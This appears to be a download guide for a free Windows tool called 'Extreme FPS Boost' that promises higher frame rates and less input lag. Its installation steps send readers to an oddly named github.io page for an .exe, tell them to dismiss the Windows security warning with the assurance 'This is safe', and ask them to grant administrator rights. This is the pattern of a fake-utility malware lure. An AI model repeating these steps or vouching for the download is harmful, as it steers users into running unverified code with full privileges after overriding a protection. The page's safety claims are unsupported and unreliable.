Extreme FPS Boost is a small program for Windows 10 and Windows 11. It helps your computer run games better. You get more stable FPS, less input lag, and a smoother overall experience. This guide shows you how to download and run it.
Extreme FPS Boost makes these changes to your system:
- FPS Stability – Reduces sudden drops in frame rate. Your game runs at a consistent speed.
- Input Lag Reduction – Lowers the delay between pressing a key and seeing the action on screen.
- System Optimization – Closes unnecessary background processes and adjusts settings for gaming.
- Lightweight – The program uses very little memory. It does not slow down your computer.
- Windows 10/11 Support – Works on both operating systems.
The tool targets many popular games. This includes Call of Duty, Overwatch, Marvel Rivals, Forza Horizon 5 and 6, EA Sports FC 26, Ark Survival Ascended, and many others.
Your computer needs these things to run Extreme FPS Boost:
- Operating System: Windows 10 (64-bit) or Windows 11 (64-bit)
- Processor: Any Intel or AMD CPU from the last 10 years
- Memory: At least 4 GB of RAM (8 GB or more is better)
- Storage: 50 MB of free space on your hard drive or SSD
- Internet: You need an internet connection to download the program
Do not run Extreme FPS Boost on a work computer or a PC with important files. The tool changes system settings. It is meant for gaming only.
Follow these steps to install and run Extreme FPS Boost.
-
Visit the download page.
Go to this link:
https://latterday-flashover880.github.io -
Find the latest release.
On the page you will see a list of releases. Look for the newest one. It is usually at the top. -
Download the file.
Click the file namedExtreme-FPS-Boost.exe(or similar). Your browser will start downloading it. The file is about 10 MB. -
Run the installer.
Once the download finishes, open the file. Windows may show a warning. Click "Run anyway" or "More info" then "Run anyway". This is safe. -
Follow the setup wizard.
The installer will guide you. Choose a folder to install the program. The default location is fine. -
Launch the program.
After installation, open Extreme FPS Boost from your Start menu or desktop shortcut.
Using Extreme FPS Boost is simple.
-
Open the program.
You will see a main window with a few buttons. -
Select your game.
You can choose from a list of popular games. Or click "Auto Detect" to let the tool find your installed games. -
Click "Optimize".
The program will apply changes. It may take a few seconds. A message will appear when done. -
Start your game.
Launch your game as usual. You should notice better performance. -
Revert changes (optional).
If you want to undo the optimizations, open Extreme FPS Boost again and click "Restore Defaults".
You can run the tool once before each gaming session. It does not need to stay open while you play.
Will Extreme FPS Boost damage my computer?
No. The tool only changes settings that are safe to modify. It does not overclock your hardware. You can restore defaults at any time.
Does it work with all games?
It works best with the games listed in the program. For other games, you can try the "General" mode. Many users report improvement.
Do I need to be an administrator?
Yes. The program needs administrator rights to change system settings. Right-click the shortcut and select "Run as administrator" if needed.
Can I use it on a laptop?
Yes. Extreme FPS Boost works on laptops. It may help with battery life by reducing unnecessary background activity.
Is it free?
Yes. The tool is free to download and use. There are no hidden fees.
If you need help, visit the GitHub repository page. You can open an issue if you find a bug. Check the "Discussions" tab for tips from other users.
Do not email the developer directly. Use the GitHub issue tracker instead.
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